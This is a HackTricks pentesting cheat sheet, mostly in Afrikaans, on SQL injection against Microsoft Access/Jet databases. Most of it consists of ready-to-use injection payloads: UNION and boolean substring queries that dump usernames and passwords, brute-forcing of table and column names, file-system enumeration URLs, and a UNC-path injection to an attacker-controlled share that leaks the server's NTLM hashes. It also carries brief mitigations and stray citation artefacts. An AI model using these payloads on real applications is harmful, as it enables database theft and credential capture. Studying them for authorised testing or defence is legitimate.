MS Access SQL Injection
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Aanlyn Speelgrond
DB Beperkings
String Samevoeging
String samevoeging is moontlik met & (%26)
en + (%2b)
karakters.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Kommentaar
Daar is geen kommentaar in MS Access nie, maar dit blyk moontlik te wees om die laaste van 'n navraag met 'n NULL-karakter te verwyder:
1' union select 1,2 from table%00
As dit nie werk nie, kan jy altyd die sintaksis van die navraag regmaak:
1' UNION SELECT 1,2 FROM table WHERE ''='
Gestapelde Vrae
Hulle word nie ondersteun nie.
BEPERK
Die LIMIT
operator is nie geĂŻmplementeer nie. Dit is egter moontlik om SELECT-vraagresultate te beperk tot die eerste N tabel rye met die TOP
operator. TOP
aanvaar as argument 'n heelgetal, wat die aantal rye verteenwoordig wat teruggegee moet word.
1' UNION SELECT TOP 3 attr FROM table%00
Net soos TOP kan jy LAST
gebruik wat die rye van die einde sal kry.
UNION Vrae/Subvrae
In 'n SQLi wil jy gewoonlik op een of ander manier 'n nuwe vraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in subvrae of ekstra vrae 'n FROM
aangedui word.
So, as jy 'n UNION SELECT
of UNION ALL SELECT
of 'n SELECT
tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd 'n FROM
met 'n geldige tabelnaam aandui.
Daarom moet jy 'n geldige tabelnaam ken.
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
warning
Dit sal jou toelaat om waardes van die huidige tabel te exfiltreer sonder om die naam van die tabel te hoef te weet.
MS Access laat weird syntax toe soos '1'=2='3'='asd'=false
. Soos gewoonlik sal die SQL-inspuiting binne 'n WHERE
klousule wees en ons kan dit misbruik.
Stel jou voor jy het 'n SQLi in 'n MS Access-databasis en jy weet (of het geraai) dat een kolomnaam username is, en dit is die veld wat jy wil exfiltreer. Jy kan die verskillende antwoorde van die webtoepassing nagaan wanneer die chaining equals tegniek gebruik word en moontlik inhoud exfiltreer met 'n boolean injection deur die Mid
funksie te gebruik om substrings te verkry.
'=(Mid(username,1,3)='adm')='
As jy die naam van die tabel en kolom weet om te dump, kan jy 'n kombinasie van Mid
, LAST
en TOP
gebruik om alle inligting via boolean SQLi te lek:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Feel free to check this in the online playground.
Brute-forcing Tabel name
Met die kettinggelyktegniek kan jy ook bruteforce tabel name met iets soos:
'=(select+top+1+'lala'+from+<table_name>)='
Jy kan ook 'n meer tradisionele manier gebruik:
-1' AND (SELECT TOP 1 <table_name>)%00
Feel vry om dit in die aanlyn speelgrond te kontroleer.
- Sqlmap algemene tabelname: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Daar is 'n ander lys in http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Brute-Forcing Kolomname
Jy kan brute-force huidige kolomname met die ketting gelyk trick met:
'=column_name='
Of met 'n group by:
-1' GROUP BY column_name%00
Of jy kan die kolomname van 'n ander tabel brute-force met:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Dumping data
Ons het reeds die chaining equals technique bespreek om data uit die huidige en ander tabelle te dump. Maar daar is ander maniere:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
In 'n neutedop gebruik die navraag 'n "if-then" verklaring om 'n "200 OK" te aktiveer in die geval van sukses of 'n "500 Internal Error" andersins. Deur gebruik te maak van die TOP 10 operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST laat toe om slegs die 10de tuple te oorweeg. Op so 'n waarde, deur die MID operator te gebruik, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "username" veld vir alle rye dump.
Tyd-gebaseerde (Blind) Trukies
Jet/ACE SQL self stel nie 'n inheemse SLEEP()
of WAITFOR
funksie bloot nie, so tradisionele tyd-gebaseerde blinde inspuitings is beperk. U kan egter steeds 'n meetbare vertraging inbring deur die enjin te dwing om toegang te verkry tot 'n netwerkbron wat stadig is of nie antwoord nie. Omdat die enjin sal probeer om die lĂȘer te open voordat dit die resultaat teruggee, weerspieĂ«l die HTTP-responstyd die rondreis latensie na die aanvaller-beheerde gasheer.
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
Wys die UNC-pad na:
- 'n SMB-aandeel agter 'n hoë-latensie skakel
- 'n gasheer wat die TCP-handdruk na
SYN-ACK
laat val - 'n firewall sinkhole
Die ekstra sekondes wat deur die afstandsopsoek ingevoer word, kan gebruik word as 'n uit-band tyds-orakel vir booleaanse toestande (bv. kies 'n stadige pad slegs wanneer die ingespotte predikaat waar is). Microsoft dokumenteer die afstandsdatabasis gedrag en die geassosieerde registrasie-kill-switch in KB5002984. îciteîturn1search0î
Ander Interessante funksies
Mid('admin',1,1)
kry substring vanaf posisie 1 lengte 1 (beginposisie is 1)LEN('1234')
kry lengte van stringASC('A')
kry ascii-waarde van karakterCHR(65)
kry string van ascii-waardeIIF(1=1,'a','b')
as danCOUNT(*)
Tel aantal items
Tabels opnoem
Van hier kan jy 'n navraag sien om tabelname te kry:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
However, let op dat dit baie tipies is om SQL Injections te vind waar jy nie toegang het om die tabel MSysObjects
te lees nie.
LĂȘerstelsel toegang
Web Wortel Gids Volle Pad
Die kennis van die web wortel absolute pad kan verdere aanvalle vergemaklik. As toepassingsfoute nie heeltemal verborge is nie, kan die gids pad ontdek word deur te probeer om data uit 'n nie-bestaande databasis te kies.
http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access reageer met 'n foutboodskap wat die web gids se volle padnaam bevat.
LĂȘer Enumerasie
Die volgende aanvalsvector kan gebruik word om die bestaan van 'n lĂȘer op die afstand lĂȘerstelsel af te lei. As die gespesifiseerde lĂȘer bestaan, aktiveer MS Access 'n foutboodskap wat inlig dat die databasisformaat ongeldig is:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
'n Ander manier om lĂȘers te enumerate, bestaan uit die spesifisering van 'n databasis.tabel item. As die gespesifiseerde lĂȘer bestaan, vertoon MS Access 'n databasisformaat foutboodskap.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb LĂȘernaam Raai
Databasis lĂȘernaam (.mdb) kan afgelei word met die volgende navraag:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Waar name[i] 'n .mdb lĂȘernaam is en realTable 'n bestaande tabel binne die databasis. Alhoewel MS Access altyd 'n foutboodskap sal aktiveer, is dit moontlik om tussen 'n ongeldige lĂȘernaam en 'n geldige .mdb lĂȘernaam te onderskei.
Afstand Databasis Toegang & NTLM Kredensiaal Diefstal (2023)
Sedert Jet 4.0 kan elke navraag 'n tabel in 'n ander .mdb/.accdb
lĂȘer verwys via die IN '<path>'
klousule:
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
As gebruikersinvoer in die deel na IN (of in 'n JOIN ⊠IN
/ OPENROWSET
/ OPENDATASOURCE
oproep) gekonkateneer word, kan 'n aanvaller 'n UNC pad spesifiseer wat na 'n gasheer wys wat hulle beheer. Die enjin sal:
- probeer om oor SMB / HTTP te autentiseer om die afstanddatabasis te open;
- die web-bediener se NTLM akrediteer (gedwonge autentisering) lek;
- die afstandlĂȘer ontleed â 'n verkeerd geformateerde of kwaadwillige databasis kan Jet/ACE geheue-korrupsie foute aktiveer wat al verskeie kere reggestel is (bv. CVE-2021-28455).
Praktiese inspuitvoorbeeld:
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
Impact:
- Uit-baan eksfiltrasie van Net-NTLMv2 hashes (bruikbaar vir relay of offline kraking).
- Potensiële afstandkode-uitvoering as 'n nuwe Jet/ACE parser fout uitgebuit word.
Mitigations (aanbeveel selfs vir erfenis Classic ASP toepassings):
- Voeg die registerwaarde
AllowQueryRemoteTables = 0
by onderHKLM\Software\Microsoft\Jet\4.0\Engines
(en onder die ekwivalente ACE pad). Dit dwing Jet/ACE om afstandspade wat met\\
begin te verwerp. - Blokkeer uitgaande SMB/WebDAV by die netwerkgrens.
- Sanitize / parameterise enige deel van 'n navraag wat in 'n
IN
klousule mag eindig.
Die gedwonge-authentikasie vektor is in 2023 deur Check Point Research herbesoek, wat bewys dat dit steeds uitgebuit kan word op ten volle gepatchte Windows Server wanneer die register sleutel afwesig is. îciteîturn0search0î
.mdb Wachtwoord Kraker
Access PassView is 'n gratis nut wat gebruik kan word om die hoofdatabasiswachtwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.
References
- http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
- Microsoft KB5002984 â Konfigurasie van Jet/ACE om afstandstabelle te blokkeer
- Check Point Research â Misbruik van Microsoft Access Gekoppelde Tabels vir NTLM Gedwonge Authentikasie (2023)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.